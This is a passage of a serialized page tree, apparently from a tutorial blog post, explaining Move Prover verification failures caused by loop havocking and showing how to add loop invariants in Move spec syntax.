errors\"\n}\n",[12639],{"type":23,"tag":71,"props":12640,"children":12641},{"__ignoreMap":7},[12642,12650,12657,12718,12739,12829,12897,12909,12917,12924,12931,12938,12956,13017,13034,13051,13123,13139,13147,13154,13204,13212,13229],{"type":23,"tag":230,"props":12643,"children":12644},{"class":232,"line":233},[12645],{"type":23,"tag":230,"props":12646,"children":12647},{"style":274},[12648],{"type":29,"value":12649},"[...]\n",{"type":23,"tag":230,"props":12651,"children":12652},{"class":232,"line":243},[12653],{"type":23,"tag":230,"props":12654,"children":12655},{"emptyLinePlaceholder":18},[12656],{"type":29,"value":459},{"type":23,"tag":230,"props":12658,"children":12659},{"class":232,"line":252},[12660,12665,12670,12675,12680,12685,12689,12694,12699,12704,12708,12713],{"type":23,"tag":230,"props":12661,"children":12662},{"style":294},[12663],{"type":29,"value":12664},"error:",{"type":23,"tag":230,"props":12666,"children":12667},{"style":380},[12668],{"type":29,"value":12669}," abort",{"type":23,"tag":230,"props":12671,"children":12672},{"style":380},[12673],{"type":29,"value":12674}," not",{"type":23,"tag":230,"props":12676,"children":12677},{"style":380},[12678],{"type":29,"value":12679}," covered",{"type":23,"tag":230,"props":12681,"children":12682},{"style":380},[12683],{"type":29,"value":12684}," by",{"type":23,"tag":230,"props":12686,"children":12687},{"style":380},[12688],{"type":29,"value":3623},{"type":23,"tag":230,"props":12690,"children":12691},{"style":380},[12692],{"type":29,"value":12693}," of",{"type":23,"tag":230,"props":12695,"children":12696},{"style":380},[12697],{"type":29,"value":12698}," the",{"type":23,"tag":230,"props":12700,"children":12701},{"style":380},[12702],{"type":29,"value":12703}," `",{"type":23,"tag":230,"props":12705,"children":12706},{"style":294},[12707],{"type":29,"value":10660},{"type":23,"tag":230,"props":12709,"children":12710},{"style":380},[12711],{"type":29,"value":12712},"`",{"type":23,"tag":230,"props":12714,"children":12715},{"style":294},[12716],{"type":29,"value":12717}," clauses\n",{"type":23,"tag":230,"props":12719,"children":12720},{"class":232,"line":280},[12721,12726,12731,12735],{"type":23,"tag":230,"props":12722,"children":12723},{"style":294},[12724],{"type":29,"value":12725},"╭",{"type":23,"tag":230,"props":12727,"children":12728},{"style":380},[12729],{"type":29,"value":12730},"     spec",{"type":23,"tag":230,"props":12732,"children":12733},{"style":380},[12734],{"type":29,"value":11913},{"type":23,"tag":230,"props":12736,"children":12737},{"style":380},[12738],{"type":29,"value":277},{"type":23,"tag":230,"props":12740,"children":12741},{"class":232,"line":334},[12742,12747,12752,12756,12760,12764,12768,12772,12776,12780,12784,12788,12793,12797,12801,12805,12809,12813,12817,12821,12825],{"type":23,"tag":230,"props":12743,"children":12744},{"style":268},[12745],{"type":29,"value":12746},"|",{"type":23,"tag":230,"props":12748,"children":12749},{"style":294},[12750],{"type":29,"value":12751},"         aborts_if",{"type":23,"tag":230,"props":12753,"children":12754},{"style":380},[12755],{"type":29,"value":12034},{"type":23,"tag":230,"props":12757,"children":12758},{"style":274},[12759],{"type":29,"value":302},{"type":23,"tag":230,"props":12761,"children":12762},{"style":294},[12763],{"type":29,"value":181},{"type":23,"tag":230,"props":12765,"children":12766},{"style":274},[12767],{"type":29,"value":703},{"type":23,"tag":230,"props":12769,"children":12770},{"style":380},[12771],{"type":29,"value":6719},{"type":23,"tag":230,"props":12773,"children":12774},{"style":380},[12775],{"type":29,"value":12034},{"type":23,"tag":230,"props":12777,"children":12778},{"style":274},[12779],{"type":29,"value":302},{"type":23,"tag":230,"props":12781,"children":12782},{"style":294},[12783],{"type":29,"value":5561},{"type":23,"tag":230,"props":12785,"children":12786},{"style":274},[12787],{"type":29,"value":703},{"type":23,"tag":230,"props":12789,"children":12790},{"style":268},[12791],{"type":29,"value":12792},">",{"type":23,"tag":230,"props":12794,"children":12795},{"style":380},[12796],{"type":29,"value":863},{"type":23,"tag":230,"props":12798,"children":12799},{"style":380},[12800],{"type":29,"value":11990},{"type":23,"tag":230,"props":12802,"children":12803},{"style":256},[12804],{"type":29,"value":12147},{"type":23,"tag":230,"props":12806,"children":12807},{"style":380},[12808],{"type":29,"value":11990},{"type":23,"tag":230,"props":12810,"children":12811},{"style":256},[12812],{"type":29,"value":12147},{"type":23,"tag":230,"props":12814,"children":12815},{"style":380},[12816],{"type":29,"value":11990},{"type":23,"tag":230,"props":12818,"children":12819},{"style":256},[12820],{"type":29,"value":12147},{"type":23,"tag":230,"props":12822,"children":12823},{"style":380},[12824],{"type":29,"value":11990},{"type":23,"tag":230,"props":12826,"children":12827},{"style":274},[12828],{"type":29,"value":511},{"type":23,"tag":230,"props":12830,"children":12831},{"class":232,"line":371},[12832,12836,12841,12845,12849,12853,12857,12861,12865,12869,12873,12877,12881,12885,12889,12893],{"type":23,"tag":230,"props":12833,"children":12834},{"style":268},[12835],{"type":29,"value":12746},{"type":23,"tag":230,"props":12837,"children":12838},{"style":294},[12839],{"type":29,"value":12840},"         ensures",{"type":23,"tag":230,"props":12842,"children":12843},{"style":380},[12844],{"type":29,"value":12034},{"type":23,"tag":230,"props":12846,"children":12847},{"style":274},[12848],{"type":29,"value":302},{"type":23,"tag":230,"props":12850,"children":12851},{"style":294},[12852],{"type":29,"value":11415},{"type":23,"tag":230,"props":12854,"children":12855},{"style":274},[12856],{"type":29,"value":703},{"type":23,"tag":230,"props":12858,"children":12859},{"style":380},[12860],{"type":29,"value":10911},{"type":23,"tag":230,"props":12862,"children":12863},{"style":380},[12864],{"type":29,"value":12034},{"type":23,"tag":230,"props":12866,"children":12867},{"style":274},[12868],{"type":29,"value":302},{"type":23,"tag":230,"props":12870,"children":12871},{"style":294},[12872],{"type":29,"value":181},{"type":23,"tag":230,"props":12874,"children":12875},{"style":274},[12876],{"type":29,"value":703},{"type":23,"tag":230,"props":12878,"children":12879},{"style":380},[12880],{"type":29,"value":6719},{"type":23,"tag":230,"props":12882,"children":12883},{"style":380},[12884],{"type":29,"value":12034},{"type":23,"tag":230,"props":12886,"children":12887},{"style":274},[12888],{"type":29,"value":302},{"type":23,"tag":230,"props":12890,"children":12891},{"style":294},[12892],{"type":29,"value":5561},{"type":23,"tag":230,"props":12894,"children":12895},{"style":274},[12896],{"type":29,"value":753},{"type":23,"tag":230,"props":12898,"children":12899},{"class":232,"line":391},[12900,12904],{"type":23,"tag":230,"props":12901,"children":12902},{"style":268},[12903],{"type":29,"value":12746},{"type":23,"tag":230,"props":12905,"children":12906},{"style":274},[12907],{"type":29,"value":12908},"     }\n",{"type":23,"tag":230,"props":12910,"children":12911},{"class":232,"line":400},[12912],{"type":23,"tag":230,"props":12913,"children":12914},{"style":294},[12915],{"type":29,"value":12916},"╰─────^\n",{"type":23,"tag":230,"props":12918,"children":12919},{"class":232,"line":444},[12920],{"type":23,"tag":230,"props":12921,"children":12922},{"emptyLinePlaceholder":18},[12923],{"type":29,"value":459},{"type":23,"tag":230,"props":12925,"children":12926},{"class":232,"line":453},[12927],{"type":23,"tag":230,"props":12928,"children":12929},{"style":274},[12930],{"type":29,"value":12649},{"type":23,"tag":230,"props":12932,"children":12933},{"class":232,"line":462},[12934],{"type":23,"tag":230,"props":12935,"children":12936},{"emptyLinePlaceholder":18},[12937],{"type":29,"value":459},{"type":23,"tag":230,"props":12939,"children":12940},{"class":232,"line":471},[12941,12946,12951],{"type":23,"tag":230,"props":12942,"children":12943},{"style":294},[12944],{"type":29,"value":12945}," at",{"type":23,"tag":230,"props":12947,"children":12948},{"style":380},[12949],{"type":29,"value":12950}," ./sources/u256.move:316:",{"type":23,"tag":230,"props":12952,"children":12953},{"style":380},[12954],{"type":29,"value":12955}," add\n",{"type":23,"tag":230,"props":12957,"children":12958},{"class":232,"line":500},[12959,12964,12969,12974,12978,12983,12987,12992,12997,13002,13007,13012],{"type":23,"tag":230,"props":12960,"children":12961},{"style":294},[12962],{"type":29,"value":12963}," enter",{"type":23,"tag":230,"props":12965,"children":12966},{"style":380},[12967],{"type":29,"value":12968}," loop,",{"type":23,"tag":230,"props":12970,"children":12971},{"style":380},[12972],{"type":29,"value":12973}," variable",{"type":23,"tag":230,"props":12975,"children":12976},{"style":274},[12977],{"type":29,"value":302},{"type":23,"tag":230,"props":12979,"children":12980},{"style":294},[12981],{"type":29,"value":12982},"s",{"type":23,"tag":230,"props":12984,"children":12985},{"style":274},[12986],{"type":29,"value":703},{"type":23,"tag":230,"props":12988,"children":12989},{"style":380},[12990],{"type":29,"value":12991},"carry,",{"type":23,"tag":230,"props":12993,"children":12994},{"style":380},[12995],{"type":29,"value":12996}," i,",{"type":23,"tag":230,"props":12998,"children":12999},{"style":380},[13000],{"type":29,"value":13001}," ret",{"type":23,"tag":230,"props":13003,"children":13004},{"style":380},[13005],{"type":29,"value":13006}," havocked",{"type":23,"tag":230,"props":13008,"children":13009},{"style":380},[13010],{"type":29,"value":13011}," and",{"type":23,"tag":230,"props":13013,"children":13014},{"style":380},[13015],{"type":29,"value":13016}," reassigned\n",{"type":23,"tag":230,"props":13018,"children":13019},{"class":232,"line":514},[13020,13025,13029],{"type":23,"tag":230,"props":13021,"children":13022},{"style":294},[13023],{"type":29,"value":13024},"     carry",{"type":23,"tag":230,"props":13026,"children":13027},{"style":380},[13028],{"type":29,"value":271},{"type":23,"tag":230,"props":13030,"children":13031},{"style":5149},[13032],{"type":29,"value":13033}," 54\n",{"type":23,"tag":230,"props":13035,"children":13036},{"class":232,"line":897},[13037,13042,13046],{"type":23,"tag":230,"props":13038,"children":13039},{"style":294},[13040],{"type":29,"value":13041},"     i",{"type":23,"tag":230,"props":13043,"children":13044},{"style":380},[13045],{"type":29,"value":271},{"type":23,"tag":230,"props":13047,"children":13048},{"style":5149},[13049],{"type":29,"value":13050}," 3792\n",{"type":23,"tag":230,"props":13052,"children":13053},{"class":232,"line":960},[13054,13059,13063,13068,13072,13077,13082,13086,13091,13096,13100,13105,13110,13114,13119],{"type":23,"tag":230,"props":13055,"children":13056},{"style":294},[13057],{"type":29,"value":13058},"     ret",{"type":23,"tag":230,"props":13060,"children":13061},{"style":380},[13062],{"type":29,"value":271},{"type":23,"tag":230,"props":13064,"children":13065},{"style":380},[13066],{"type":29,"value":13067}," u256.U256{v0",{"type":23,"tag":230,"props":13069,"children":13070},{"style":380},[13071],{"type":29,"value":271},{"type":23,"tag":230,"props":13073,"children":13074},{"style":380},[13075],{"type":29,"value":13076}," 26418,",{"type":23,"tag":230,"props":13078,"children":13079},{"style":380},[13080],{"type":29,"value":13081}," v1",{"type":23,"tag":230,"props":13083,"children":13084},{"style":380},[13085],{"type":29,"value":271},{"type":23,"tag":230,"props":13087,"children":13088},{"style":380},[13089],{"type":29,"value":13090}," 27938,",{"type":23,"tag":230,"props":13092,"children":13093},{"style":380},[13094],{"type":29,"value":13095}," v2",{"type":23,"tag":230,"props":13097,"children":13098},{"style":380},[13099],{"type":29,"value":271},{"type":23,"tag":230,"props":13101,"children":13102},{"style":380},[13103],{"type":29,"value":13104}," 6900,",{"type":23,"tag":230,"props":13106,"children":13107},{"style":380},[13108],{"type":29,"value":13109}," v3",{"type":23,"tag":230,"props":13111,"children":13112},{"style":380},[13113],{"type":29,"value":271},{"type":23,"tag":230,"props":13115,"children":13116},{"style":5149},[13117],{"type":29,"value":13118}," 1999",{"type":23,"tag":230,"props":13120,"children":13121},{"style":380},[13122],{"type":29,"value":975},{"type":23,"tag":230,"props":13124,"children":13125},{"class":232,"line":969},[13126,13130,13135],{"type":23,"tag":230,"props":13127,"children":13128},{"style":294},[13129],{"type":29,"value":12945},{"type":23,"tag":230,"props":13131,"children":13132},{"style":380},[13133],{"type":29,"value":13134}," ./sources/u256.move:346:",{"type":23,"tag":230,"props":13136,"children":13137},{"style":380},[13138],{"type":29,"value":12955},{"type":23,"tag":230,"props":13140,"children":13141},{"class":232,"line":4526},[13142],{"type":23,"tag":230,"props":13143,"children":13144},{"style":294},[13145],{"type":29,"value":13146},"     ABORTED\n",{"type":23,"tag":230,"props":13148,"children":13149},{"class":232,"line":4534},[13150],{"type":23,"tag":230,"props":13151,"children":13152},{"emptyLinePlaceholder":18},[13153],{"type":29,"value":459},{"type":23,"tag":230,"props":13155,"children":13156},{"class":232,"line":4542},[13157,13162,13167,13171,13176,13181,13186,13190,13195,13199],{"type":23,"tag":230,"props":13158,"children":13159},{"style":294},[13160],{"type":29,"value":13161},"FAILURE",{"type":23,"tag":230,"props":13163,"children":13164},{"style":380},[13165],{"type":29,"value":13166}," proving",{"type":23,"tag":230,"props":13168,"children":13169},{"style":5149},[13170],{"type":29,"value":6861},{"type":23,"tag":230,"props":13172,"children":13173},{"style":380},[13174],{"type":29,"value":13175}," modules",{"type":23,"tag":230,"props":13177,"children":13178},{"style":380},[13179],{"type":29,"value":13180}," from",{"type":23,"tag":230,"props":13182,"children":13183},{"style":380},[13184],{"type":29,"value":13185}," package",{"type":23,"tag":230,"props":13187,"children":13188},{"style":380},[13189],{"type":29,"value":12703},{"type":23,"tag":230,"props":13191,"children":13192},{"style":294},[13193],{"type":29,"value":13194},"u256",{"type":23,"tag":230,"props":13196,"children":13197},{"style":380},[13198],{"type":29,"value":12712},{"type":23,"tag":230,"props":13200,"children":13201},{"style":274},[13202],{"type":29,"value":13203}," in 9.143s\n",{"type":23,"tag":230,"props":13205,"children":13206},{"class":232,"line":4559},[13207],{"type":23,"tag":230,"props":13208,"children":13209},{"style":274},[13210],{"type":29,"value":13211},"{\n",{"type":23,"tag":230,"props":13213,"children":13214},{"class":232,"line":4587},[13215,13220,13224],{"type":23,"tag":230,"props":13216,"children":13217},{"style":294},[13218],{"type":29,"value":13219},"    \"Error\"",{"type":23,"tag":230,"props":13221,"children":13222},{"style":294},[13223],{"type":29,"value":218},{"type":23,"tag":230,"props":13225,"children":13226},{"style":380},[13227],{"type":29,"value":13228}," \"Move Prover failed: exiting with verification errors\"\n",{"type":23,"tag":230,"props":13230,"children":13231},{"class":232,"line":4595},[13232],{"type":23,"tag":230,"props":13233,"children":13234},{"style":274},[13235],{"type":29,"value":975},{"type":23,"tag":32,"props":13237,"children":13238},{},[13239,13241,13246],{"type":29,"value":13240},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":23,"tag":71,"props":13242,"children":13244},{"className":13243},[],[13245],{"type":29,"value":10660},{"type":29,"value":13247}," clauses. But there is no other abort situation that we have to cover, right?",{"type":23,"tag":32,"props":13249,"children":13250},{},[13251,13253,13259],{"type":29,"value":13252},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":23,"tag":71,"props":13254,"children":13256},{"className":13255},[],[13257],{"type":29,"value":13258},"ret havocked and reassigned",{"type":29,"value":312},{"type":23,"tag":32,"props":13261,"children":13262},{},[13263],{"type":29,"value":13264},"What does this mean?",{"type":23,"tag":32,"props":13266,"children":13267},{},[13268,13270,13277],{"type":29,"value":13269},"By diving into the Move Prover source, we find a ",{"type":23,"tag":181,"props":13271,"children":13274},{"href":13272,"rel":13273},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[185],[13275],{"type":29,"value":13276},"likely suspect",{"type":29,"value":13278},". The prover attempts to prove all loops with induction!",{"type":23,"tag":32,"props":13280,"children":13281},{},[13282],{"type":29,"value":13283},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":23,"tag":144,"props":13285,"children":13286},{},[13287,13292],{"type":23,"tag":102,"props":13288,"children":13289},{},[13290],{"type":29,"value":13291},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":23,"tag":102,"props":13293,"children":13294},{},[13295],{"type":29,"value":13296},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":23,"tag":32,"props":13298,"children":13299},{},[13300,13302,13307,13309,13315,13316,13322,13323,13328,13330,13335],{"type":29,"value":13301},"The loop prover will also ",{"type":23,"tag":2302,"props":13303,"children":13304},{},[13305],{"type":29,"value":13306},"havoc, or assign random values to, all variables written to inside the loop",{"type":29,"value":13308},". Going back to the log message, this implies that the variables ",{"type":23,"tag":71,"props":13310,"children":13312},{"className":13311},[],[13313],{"type":29,"value":13314},"carry",{"type":29,"value":684},{"type":23,"tag":71,"props":13317,"children":13319},{"className":13318},[],[13320],{"type":29,"value":13321},"ret",{"type":29,"value":112},{"type":23,"tag":71,"props":13324,"children":13326},{"className":13325},[],[13327],{"type":29,"value":6074},{"type":29,"value":13329}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":23,"tag":71,"props":13331,"children":13333},{"className":13332},[],[13334],{"type":29,"value":11969},{"type":29,"value":13336}," makes no sense.",{"type":23,"tag":32,"props":13338,"children":13339},{},[13340],{"type":29,"value":13341},"More concretely, the loop analysis translates into the following steps.",{"type":23,"tag":144,"props":13343,"children":13344},{},[13345,13350,13355,13360,13365,13370],{"type":23,"tag":102,"props":13346,"children":13347},{},[13348],{"type":29,"value":13349},"Assert the loop invariant",{"type":23,"tag":102,"props":13351,"children":13352},{},[13353],{"type":29,"value":13354},"Havoc all modified variables",{"type":23,"tag":102,"props":13356,"children":13357},{},[13358],{"type":29,"value":13359},"Assume the loop invariant",{"type":23,"tag":102,"props":13361,"children":13362},{},[13363],{"type":29,"value":13364},"Assume the loop guard (the code inside the while condition)",{"type":23,"tag":102,"props":13366,"children":13367},{},[13368],{"type":29,"value":13369},"Run the loop body",{"type":23,"tag":102,"props":13371,"children":13372},{},[13373],{"type":29,"value":13349},{"type":23,"tag":32,"props":13375,"children":13376},{},[13377],{"type":29,"value":13378},"There are two approaches to dealing with loops.",{"type":23,"tag":32,"props":13380,"children":13381},{},[13382],{"type":29,"value":13383},"The first would be to specify a loop invariant.",{"type":23,"tag":32,"props":13385,"children":13386},{},[13387,13389,13396],{"type":29,"value":13388},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":23,"tag":181,"props":13390,"children":13393},{"href":13391,"rel":13392},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[185],[13394],{"type":29,"value":13395},"previous post",{"type":29,"value":312},{"type":23,"tag":220,"props":13398,"children":13400},{"code":13399,"language":5319,"meta":7,"className":5320,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[13401],{"type":23,"tag":71,"props":13402,"children":13403},{"__ignoreMap":7},[13404,13416,13427,13463,13486,13569,13576,13600,13608,13628,13648,13739,13746,13774],{"type":23,"tag":230,"props":13405,"children":13406},{"class":232,"line":233},[13407,13412],{"type":23,"tag":230,"props":13408,"children":13409},{"style":866},[13410],{"type":29,"value":13411},"  while",{"type":23,"tag":230,"props":13413,"children":13414},{"style":274},[13415],{"type":29,"value":10868},{"type":23,"tag":230,"props":13417,"children":13418},{"class":232,"line":243},[13419,13423],{"type":23,"tag":230,"props":13420,"children":13421},{"style":262},[13422],{"type":29,"value":11262},{"type":23,"tag":230,"props":13424,"children":13425},{"style":274},[13426],{"type":29,"value":277},{"type":23,"tag":230,"props":13428,"children":13429},{"class":232,"line":252},[13430,13435,13439,13443,13447,13451,13455,13459],{"type":23,"tag":230,"props":13431,"children":13432},{"style":262},[13433],{"type":29,"value":13434},"          invariant",{"type":23,"tag":230,"props":13436,"children":13437},{"style":294},[13438],{"type":29,"value":10893},{"type":23,"tag":230,"props":13440,"children":13441},{"style":274},[13442],{"type":29,"value":302},{"type":23,"tag":230,"props":13444,"children":13445},{"style":262},[13446],{"type":29,"value":10902},{"type":23,"tag":230,"props":13448,"children":13449},{"style":274},[13450],{"type":29,"value":703},{"type":23,"tag":230,"props":13452,"children":13453},{"style":268},[13454],{"type":29,"value":10911},{"type":23,"tag":230,"props":13456,"children":13457},{"style":262},[13458],{"type":29,"value":5736},{"type":23,"tag":230,"props":13460,"children":13461},{"style":274},[13462],{"type":29,"value":511},{"type":23,"tag":230,"props":13464,"children":13465},{"class":232,"line":280},[13466,13470,13474,13478,13482],{"type":23,"tag":230,"props":13467,"children":13468},{"style":262},[13469],{"type":29,"value":13434},{"type":23,"tag":230,"props":13471,"children":13472},{"style":262},[13473],{"type":29,"value":5736},{"type":23,"tag":230,"props":13475,"children":13476},{"style":268},[13477],{"type":29,"value":10532},{"type":23,"tag":230,"props":13479,"children":13480},{"style":262},[13481],{"type":29,"value":10822},{"type":23,"tag":230,"props":13483,"children":13484},{"style":274},[13485],{"type":29,"value":511},{"type":23,"tag":230,"props":13487,"children":13488},{"class":232,"line":334},[13489,13493,13497,13501,13505,13509,13513,13517,13521,13525,13529,13533,13537,13541,13545,13549,13553,13557,13561,13565],{"type":23,"tag":230,"props":13490,"children":13491},{"style":262},[13492],{"type":29,"value":13434},{"type":23,"tag":230,"props":13494,"children":13495},{"style":262},[13496],{"type":29,"value":10954},{"type":23,"tag":230,"props":13498,"children":13499},{"style":262},[13500],{"type":29,"value":10959},{"type":23,"tag":230,"props":13502,"children":13503},{"style":256},[13504],{"type":29,"value":5381},{"type":23,"tag":230,"props":13506,"children":13507},{"style":5149},[13508],{"type":29,"value":5386},{"type":23,"tag":230,"props":13510,"children":13511},{"style":268},[13512],{"type":29,"value":5391},{"type":23,"tag":230,"props":13514,"children":13515},{"style":262},[13516],{"type":29,"value":6074},{"type":23,"tag":230,"props":13518,"children":13519},{"style":268},[13520],{"type":29,"value":218},{"type":23,"tag":230,"props":13522,"children":13523},{"style":262},[13524],{"type":29,"value":10757},{"type":23,"tag":230,"props":13526,"children":13527},{"style":274},[13528],{"type":29,"value":6069},{"type":23,"tag":230,"props":13530,"children":13531},{"style":262},[13532],{"type":29,"value":10992},{"type":23,"tag":230,"props":13534,"children":13535},{"style":274},[13536],{"type":29,"value":10997},{"type":23,"tag":230,"props":13538,"children":13539},{"style":268},[13540],{"type":29,"value":10911},{"type":23,"tag":230,"props":13542,"children":13543},{"style":262},[13544],{"type":29,"value":11006},{"type":23,"tag":230,"props":13546,"children":13547},{"style":274},[13548],{"type":29,"value":6069},{"type":23,"tag":230,"props":13550,"children":13551},{"style":262},[13552],{"type":29,"value":10992},{"type":23,"tag":230,"props":13554,"children":13555},{"style":274},[13556],{"type":29,"value":10997},{"type":23,"tag":230,"props":13558,"children":13559},{"style":268},[13560],{"type":29,"value":6909},{"type":23,"tag":230,"props":13562,"children":13563},{"style":262},[13564],{"type":29,"value":10822},{"type":23,"tag":230,"props":13566,"children":13567},{"style":274},[13568],{"type":29,"value":511},{"type":23,"tag":230,"props":13570,"children":13571},{"class":232,"line":371},[13572],{"type":23,"tag":230,"props":13573,"children":13574},{"style":274},[13575],{"type":29,"value":11254},{"type":23,"tag":230,"props":13577,"children":13578},{"class":232,"line":391},[13579,13584,13588,13592,13596],{"type":23,"tag":230,"props":13580,"children":13581},{"style":274},[13582],{"type":29,"value":13583},"      (",{"type":23,"tag":230,"props":13585,"children":13586},{"style":262},[13587],{"type":29,"value":6074},{"type":23,"tag":230,"props":13589,"children":13590},{"style":268},[13591],{"type":29,"value":11055},{"type":23,"tag":230,"props":13593,"children":13594},{"style":262},[13595],{"type":29,"value":10822},{"type":23,"tag":230,"props":13597,"children":13598},{"style":274},[13599],{"type":29,"value":4516},{"type":23,"tag":230,"props":13601,"children":13602},{"class":232,"line":400},[13603],{"type":23,"tag":230,"props":13604,"children":13605},{"style":274},[13606],{"type":29,"value":13607},"  }) {\n",{"type":23,"tag":230,"props":13609,"children":13610},{"class":232,"line":444},[13611,13616,13620,13624],{"type":23,"tag":230,"props":13612,"children":13613},{"style":274},[13614],{"type":29,"value":13615},"      vector",{"type":23,"tag":230,"props":13617,"children":13618},{"style":268},[13619],{"type":29,"value":5818},{"type":23,"tag":230,"props":13621,"children":13622},{"style":294},[13623],{"type":29,"value":11088},{"type":23,"tag":230,"props":13625,"children":13626},{"style":274},[13627],{"type":29,"value":619},{"type":23,"tag":230,"props":13629,"children":13630},{"class":232,"line":453},[13631,13636,13640,13644],{"type":23,"tag":230,"props":13632,"children":13633},{"style":268},[13634],{"type":29,"value":13635},"          &",{"type":23,"tag":230,"props":13637,"children":13638},{"style":256},[13639],{"type":29,"value":6059},{"type":23,"tag":230,"props":13641,"children":13642},{"style":262},[13643],{"type":29,"value":10757},{"type":23,"tag":230,"props":13645,"children":13646},{"style":274},[13647],{"type":29,"value":388},{"type":23,"tag":230,"props":13649,"children":13650},{"class":232,"line":462},[13651,13655,13659,13663,13667,13671,13675,13679,13683,13687,13691,13695,13699,13703,13707,13711,13715,13719,13723,13727,13731,13735],{"type":23,"tag":230,"props":13652,"children":13653},{"style":274},[13654],{"type":29,"value":11046},{"type":23,"tag":230,"props":13656,"children":13657},{"style":268},[13658],{"type":29,"value":6909},{"type":23,"tag":230,"props":13660,"children":13661},{"style":274},[13662],{"type":29,"value":11129},{"type":23,"tag":230,"props":13664,"children":13665},{"style":268},[13666],{"type":29,"value":5818},{"type":23,"tag":230,"props":13668,"children":13669},{"style":294},[13670],{"type":29,"value":11138},{"type":23,"tag":230,"props":13672,"children":13673},{"style":274},[13674],{"type":29,"value":302},{"type":23,"tag":230,"props":13676,"children":13677},{"style":268},[13678],{"type":29,"value":5448},{"type":23,"tag":230,"props":13680,"children":13681},{"style":262},[13682],{"type":29,"value":10702},{"type":23,"tag":230,"props":13684,"children":13685},{"style":274},[13686],{"type":29,"value":3950},{"type":23,"tag":230,"props":13688,"children":13689},{"style":262},[13690],{"type":29,"value":6074},{"type":23,"tag":230,"props":13692,"children":13693},{"style":256},[13694],{"type":29,"value":3589},{"type":23,"tag":230,"props":13696,"children":13697},{"style":676},[13698],{"type":29,"value":8197},{"type":23,"tag":230,"props":13700,"children":13701},{"style":274},[13702],{"type":29,"value":11171},{"type":23,"tag":230,"props":13704,"children":13705},{"style":256},[13706],{"type":29,"value":4343},{"type":23,"tag":230,"props":13708,"children":13709},{"style":676},[13710],{"type":29,"value":11180},{"type":23,"tag":230,"props":13712,"children":13713},{"style":274},[13714],{"type":29,"value":703},{"type":23,"tag":230,"props":13716,"children":13717},{"style":268},[13718],{"type":29,"value":6909},{"type":23,"tag":230,"props":13720,"children":13721},{"style":274},[13722],{"type":29,"value":664},{"type":23,"tag":230,"props":13724,"children":13725},{"style":262},[13726],{"type":29,"value":11197},{"type":23,"tag":230,"props":13728,"children":13729},{"style":256},[13730],{"type":29,"value":3589},{"type":23,"tag":230,"props":13732,"children":13733},{"style":676},[13734],{"type":29,"value":11180},{"type":23,"tag":230,"props":13736,"children":13737},{"style":274},[13738],{"type":29,"value":4516},{"type":23,"tag":230,"props":13740,"children":13741},{"class":232,"line":471},[13742],{"type":23,"tag":230,"props":13743,"children":13744},{"style":274},[13745],{"type":29,"value":9102},{"type":23,"tag":230,"props":13747,"children":13748},{"class":232,"line":500},[13749,13754,13758,13762,13766,13770],{"type":23,"tag":230,"props":13750,"children":13751},{"style":262},[13752],{"type":29,"value":13753},"      i",{"type":23,"tag":230,"props":13755,"children":13756},{"style":268},[13757],{"type":29,"value":271},{"type":23,"tag":230,"props":13759,"children":13760},{"style":262},[13761],{"type":29,"value":5736},{"type":23,"tag":230,"props":13763,"children":13764},{"style":268},[13765],{"type":29,"value":11238},{"type":23,"tag":230,"props":13767,"children":13768},{"style":5149},[13769],{"type":29,"value":6861},{"type":23,"tag":230,"props":13771,"children":13772},{"style":274},[13773],{"type":29,"value":511},{"type":23,"tag":230,"props":13775,"children":13776},{"class":232,"line":514},[13777],{"type":23,"tag":230,"props":13778,"children":13779},{"style":274},[13780],{"type":29,"value":13781},"  };\n",{"type":23,"tag":32,"props":13783,"children":13784},{},[13785,13787,13793,13795,13800,13802,13808],{"type":29,"value":13786},"In this case, the brackets specify the loop invariant for the ",{"type":23,"tag":71,"props":13788,"children":13790},{"className":13789},[],[13791],{"type":29,"value":13792},"while",{"type":29,"value":13794}," loop. Note that because the loop invariant executes ",{"type":23,"tag":2258,"props":13796,"children":13797},{},[13798],{"type":29,"value":13799},"after",{"type":29,"value":13801}," the loop guard, so we need to account for an extra step with ",{"type":23,"tag":71,"props":13803,"children":13805},{"className":13804},[],[13806],{"type":29,"value":13807},"i \u003C= n_coins",{"type":29,"value":312},{"type":23,"tag":220,"props":13810,"children":13812},{"code":13811,"language":5319,"meta":7,"className":5320,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[13813],{"type":23,"tag":71,"props":13814,"children":13815},{"__ignoreMap":7},[13816,13827,13838,13873,13896,13979,13986,14009],{"type":23,"tag":230,"props":13817,"children":13818},{"class":232,"line":233},[13819,13823],{"type":23,"tag":230,"props":13820,"children":13821},{"style":866},[13822],{"type":29,"value":13411},{"type":23,"tag":230,"props":13824,"children":13825},{"style":274},[13826],{"type":29,"value":10868},{"type":23,"tag":230,"props":13828,"children":13829},{"class":232,"line":243},[13830,13834],{"type":23,"tag":230,"props":13831,"children":13832},{"style":262},[13833],{"type":29,"value":11262},{"type":23,"tag":230,"props":13835,"children":13836},{"style":274},[13837],{"type":29,"value":277},{"type":23,"tag":230,"props":13839,"children":13840},{"class":232,"line":252},[13841,13845,13849,13853,13857,13861,13865,13869],{"type":23,"tag":230,"props":13842,"children":13843},{"style":262},[13844],{"type":29,"value":13434},{"type":23,"tag":230,"props":13846,"children":13847},{"style":294},[13848],{"type":29,"value":10893},{"type":23,"tag":230,"props":13850,"children":13851},{"style":274},[13852],{"type":29,"value":302},{"type":23,"tag":230,"props":13854,"children":13855},{"style":262},[13856],{"type":29,"value":10902},{"type":23,"tag":230,"props":1385